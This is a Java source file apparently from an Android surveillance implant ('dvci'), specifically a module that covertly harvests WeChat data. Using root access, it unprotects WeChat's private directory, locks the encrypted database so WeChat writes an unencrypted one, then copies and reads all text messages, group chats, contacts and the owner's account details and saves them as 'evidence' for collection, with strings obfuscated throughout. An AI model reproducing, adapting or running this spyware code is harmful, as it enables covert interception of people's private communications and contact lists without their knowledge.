package com.android.dvci.module.chat;

import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
import java.util.List;
import java.util.concurrent.Semaphore;

import android.database.Cursor;

import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.manager.ManagerModule;
import com.android.dvci.module.ModuleAddressBook;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;

public class ChatWeChat extends SubModuleChat {
	private static final String TAG = "ChatWeChat";

	private static final int PROGRAM = 0x0a;

	private static final String DEFAULT_LOCAL_NUMBER =  M.e("local");
	String pObserving = M.e("com.tencent.mm");

	// private String myPhoneNumber = "local";
	String myId;
	String myName;
	String myPhone = DEFAULT_LOCAL_NUMBER;

	Semaphore readChatSemaphore = new Semaphore(1, true);

	private Long lastLine;

	@Override
	int getProgramId() {
		return PROGRAM;
	}

	@Override
	String getObservingProgram() {
		return pObserving;
	}

	@Override
	void notifyStopProgram(String processName) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (notification stop)");
		}

		readChatWeChatMessages();

	}

	/**
	 * Estrae dal file RegisterPhone.xml il numero di telefono
	 * 
	 * @return
	 */
	@Override
	protected void start() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (actualStart)");
		}

		readChatWeChatMessages();

	}

	// select messages._id,chat_list.key_remote_jid,key_from_me,data from
	// chat_list,messages where chat_list.key_remote_jid =
	// messages.key_remote_jid

	/**
	 * Apre msgstore.db, estrae le conversazioni. Per ogni conversazione legge i
	 * messaggi relativi
	 * 
	 * Se wechat non puo' scrivere nel db cifrato, switcha su quello in chiaro
	 * 
	 * @throws IOException
	 */
	private void readChatWeChatMessages() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (readChatMessages)");
		}

		if (!readChatSemaphore.tryAcquire()) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (readChatMessages), semaphore red");
			}

			return;
		}

		try {
			boolean updateMarkup = false;
			// cifrato
			String dbEncFile = M.e("EnMicroMsg.db");
			// in chiaro
			String dbFile = M.e("MicroMsg.db");
			String dbDir = "";

			lastLine = markup.unserialize(new Long(0));

			// Get DB Dir
			boolean ret = Path.unprotect(M.e("/data/data/com.tencent.mm/MicroMsg/"), 2, false);
			if(!ret){
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readChatWeChatMessages) Error: cannot unprotect wechat");
				}
				return;
			}

			// Not the cleanest solution, we should figure out how the hash is
			// generated
			File fList = new File(M.e("/data/data/com.tencent.mm/MicroMsg/"));
			File[] files = fList.listFiles();

			for (File f : files) {
				// Database directory is an md5 hash name
				// "671d5d475506b864194891d6a4d018e3"
				if (f.isDirectory() && f.getName().length() == 32) {
					dbDir = f.getName();
					break;
				}
			}

			if (dbDir.length() == 0) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readChatWhatsappMessages): Database directory not found"); //$NON-NLS-1$
				}

				return;
			}

			// Lock encrypted DB
			dbDir = M.e("/data/data/com.tencent.mm/MicroMsg/") + dbDir + "/";

			// chmod 000, chown root:root
			Path.lock(dbDir + dbEncFile);
			
			// TODO: si potrebbe killare wechat
			if (Path.unprotect(dbDir, dbFile, true)) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readChatMessages): can read DB");
				}

				long newLastLine = 0;
				GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
				if (helper == null) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (readChatMessages) cannot open db");
					}
					return;
				}

				try {

					setMyAccount(helper);
					ChatGroups groups = getChatGroups(helper);

					// Save contacts if AddressBook is active
					if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) {
						saveWechatContacts(helper);
					}

					newLastLine = fetchMessages(helper, groups, lastLine);
				}finally {
					helper.disposeDb();
				}

				if (newLastLine > lastLine) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (readChatMessages): updating markup");
					}
					try {
						markup.writeMarkupSerializable(new Long(newLastLine));
					} catch (IOException e) {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (readChatWeChatMessages) Error: " + e);
						}
					}
				}

			} else {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbFile);
				}
			}
		} catch (Exception ex) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (readChatWeChatMessages) Error: ", ex);
			}
		} finally {

			readChatSemaphore.release();
		}
	}

	// select messages._id,chat_list.key_remote_jid,key_from_me,data from
	// chat_list,messages where chat_list.key_remote_jid =
	// messages.key_remote_jid

	private long fetchMessages(GenericSqliteHelper helper, final ChatGroups groups, long lastLine) {
		final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();

		String sqlquery = M.e("select m.createTime, m.talker, m.isSend, m.content, c.nickname from message as m join rcontact as c on m.talker=c.username where m.type = 1 and createTime > ? order by createTime");
		RecordVisitor visitor = new RecordVisitor() {

			@Override
			public long cursor(Cursor cursor) {
				long createTime = cursor.getLong(0);
				// localtime or gmt? should be converted to gmt
				Date date = new Date(createTime);
				String talker = cursor.getString(1);
				int isSend = cursor.getInt(2);
				boolean incoming = isSend == 0;
				String content = cursor.getString(3);
				String nick = cursor.getString(4);
				String from_id = talker;
				String to_id = talker;

				if (Cfg.DEBUG) {
					Check.log(TAG + " (cursor) %s: %s(%s) %s %s", date, nick, talker, content, (incoming ? "INCOMING"
							: "OUTGOING"));
				}
				String from_name, to;

				if (talker.endsWith(M.e("@chatroom"))) {
					List<String> lines = Arrays.asList(content.split("\n"));
					if (incoming) {

						from_id = lines.get(0).trim();
						from_id = from_id.substring(0, from_id.length() - 1);

						from_name = groups.getName(from_id);
						to = groups.getGroupToName(from_name, talker);
						to_id = groups.getGroupToId(from_name, talker);

						content = StringUtils.join(lines, "", 1);
					} else {
						from_name = myName;
						from_id = myId;
						to = groups.getGroupToName(myName, talker);
						to_id = groups.getGroupToId(myName, talker);
					}
				} else {
					from_name = incoming ? nick : myName;
					from_id = incoming ? talker : myId;
					to = incoming ? myName : nick;
					to_id = incoming ? myId : talker;
				}

				if (Cfg.DEBUG) {
					Check.log(TAG + " (cursor) %s -> %s", from_id, to_id);
				}
				MessageChat message = new MessageChat(PROGRAM, date, from_id, from_name, to_id, to, content, incoming);
				messages.add(message);

				return createTime;
			}
		};
		long lastCreationLine = helper.traverseRawQuery(sqlquery, new String[] { Long.toString(lastLine) }, visitor);

		getModule().saveEvidence(messages);

		return lastCreationLine;
	}

	private void saveWechatContacts(GenericSqliteHelper helper) {
		String[] projection = new String[] { M.e("username"), M.e("nickname")};

		boolean tosave = false;
		RecordVisitor visitor = new RecordVisitor(projection, M.e("nickname not null ")) {

			@Override
			public long cursor(Cursor cursor) {

				String username = cursor.getString(0);
				String nick = cursor.getString(1);

				Contact c = new Contact(username, username, nick, "");
				if (username != null && username.startsWith( M.e("wxid"))) {
					if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.WECHAT, c)) {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (cursor) need to serialize");
						}
						return 1;
					}
				}
				return 0;
			}
		};

		if (helper.traverseRecords( M.e("rcontact"), visitor) == 1) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (saveWeChatContacts) serialize");
			}
			ModuleAddressBook.getInstance().serializeContacts();
		}
	}

	private void setMyAccount(GenericSqliteHelper helper) {
		RecordVisitor visitor = new RecordVisitor() {

			@Override
			public long cursor(Cursor cursor) {
				int id = cursor.getInt(0);
				if (id == 2) {
					myId = cursor.getString(2);
				} else if (id == 4) {
					myName = cursor.getString(2);
				} else if (id == 6) {
					myPhone = cursor.getString(2);
				}
				return id;
			}
		};

		long ret = helper.traverseRecords( M.e("userinfo"), visitor);
		if (Cfg.DEBUG) {
			Check.log(TAG + " (setMyAccount) %s, %s, %s", myId, myName, myPhone);
		}

		if (!DEFAULT_LOCAL_NUMBER.equals(myPhone)) {
			ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.WECHAT, myId, myName);
		}
		
	}

	private ChatGroups getChatGroups(GenericSqliteHelper helper) {
		// SQLiteDatabase db = helper.getReadableDatabase();
		final ChatGroups groups = new ChatGroups();
		RecordVisitor visitor = new RecordVisitor() {

			@Override
			public long cursor(Cursor cursor) {
				String key = cursor.getString(0);
				String mids = cursor.getString(2);
				String names = cursor.getString(3);

				String[] ms = mids.split(";");
				String[] ns = names.split(",");

				for (int i = 0; i < ms.length; i++) {
					String id = ms[i].trim();
					String name = ns[i].trim();
					groups.addPeerToGroup(key, new Contact(id, name, name, null));
				}

				if (Cfg.DEBUG) {
					Check.log(TAG + " (getChatGroups) %s", key);
				}
				return 0;

			}
		};

		helper.traverseRecords(M.e("chatroom"), visitor);

		return groups;
	}
}